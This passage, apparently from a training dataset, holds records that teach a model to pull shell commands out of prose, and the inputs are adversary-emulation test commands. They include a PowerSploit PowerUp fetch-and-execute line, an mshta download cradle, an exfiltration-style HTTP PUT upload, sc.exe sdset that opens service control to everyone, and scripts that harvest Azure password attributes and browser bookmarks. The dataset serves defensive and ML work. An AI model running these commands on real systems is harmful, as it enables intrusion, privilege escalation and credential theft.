\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a text file, attempt an HTTP PUT upload with ContentType header, and then delete the file, use the following command:\n$fileName = \"#{file}\"\n$url = \"#{domain}\"\n$file = New-Item -Force $fileName -Value \"This is ART IcedID Botnet Exfil Test\"\n$contentType = \"application/octet-stream\"\ntry {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}",
    "output": "{\"command_list\": [\"$fileName = \\\"#{file}\\\"\\n$url = \\\"#{domain}\\\"\\n$file = New-Item -Force $fileName -Value \\\"This is ART IcedID Botnet Exfil Test\\\"\\n$contentType = \\\"application/octet-stream\\\"\\ntry {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can test your internet connection and SMB port access by executing this PowerShell cmdlet: Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}",
    "output": "{\"command_list\": [\"Test-NetConnection -CommonTCPPort SMB -ComputerName #{target}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the permissions of the Service Control Manager using SDSET, which enables any administrative user to escalate privileges and create a service with SYSTEM level privileges (a restart is required), execute the following command: sc.exe sdset scmanager D:(A;;KA;;;WD)\n",
    "output": "{\"command_list\": [\"sc.exe sdset scmanager D:(A;;KA;;;WD)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To invoke mshta via PowerShell for payload download, use the following command, which will open a new PowerShell window displaying 'Download Cradle test success!':\nC:\\Windows\\system32\\cmd.exe /c \"mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()\"\n",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\system32\\\\cmd.exe /c \\\"mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To scan Azure user accounts for unsecured credentials, use the following PowerShell commands which will check all attributes for password strings and save results to a file: \nimport-module msonline\n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-MsolService -Credential $Credential\n$users = Get-MsolUser -All;\nforeach($user in $users)\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \nforeach($prop in $props)\n{if($user.$prop -like \"*password*\")\n{(\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop) | out-file -filepath $env:temp\\T1552.005Test1.txt -append -force}}}\nget-content -path $env:temp\\T1552.005Test1.txt -erroraction silentlycontinue",
    "output": "{\"command_list\": [\"import-module msonline\\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-MsolService -Credential $Credential\\n$users = Get-MsolUser -All;\\nforeach($user in $users)\\n{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; \\nforeach($prop in $props)\\n{if($user.$prop -like \\\"*password*\\\")\\n{(\\\"[*]\\\" + $user.UserPrincipalName + \\\"[\\\" + $prop + \\\"]\\\" + \\\" : \\\" + $user.$prop) | out-file -filepath $env:temp\\\\T1552.005Test1.txt -append -force}}}\\nget-content -path $env:temp\\\\T1552.005Test1.txt -erroraction silentlycontinue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify specific processes for potential exploitation, adversaries can leverage command line tools with the following command: tasklist | findstr #{process_to_enumerate}",
    "output": "{\"command_list\": [\"tasklist | findstr #{process_to_enumerate}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The password complexity requirements can be displayed to console using this command: cat /etc/security/pwquality.conf",
    "output": "{\"command_list\": [\"cat /etc/security/pwquality.conf\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate Google Chrome's bookmark file in JSON format on macOS and save the results to a text file, use the following command: find / -path \"*/Google/Chrome/*/Bookmarks\" -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null",
    "output": "{\"command_list\": [\"find / -path \\\"*/Google/Chrome/*/Bookmarks\\\" -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try 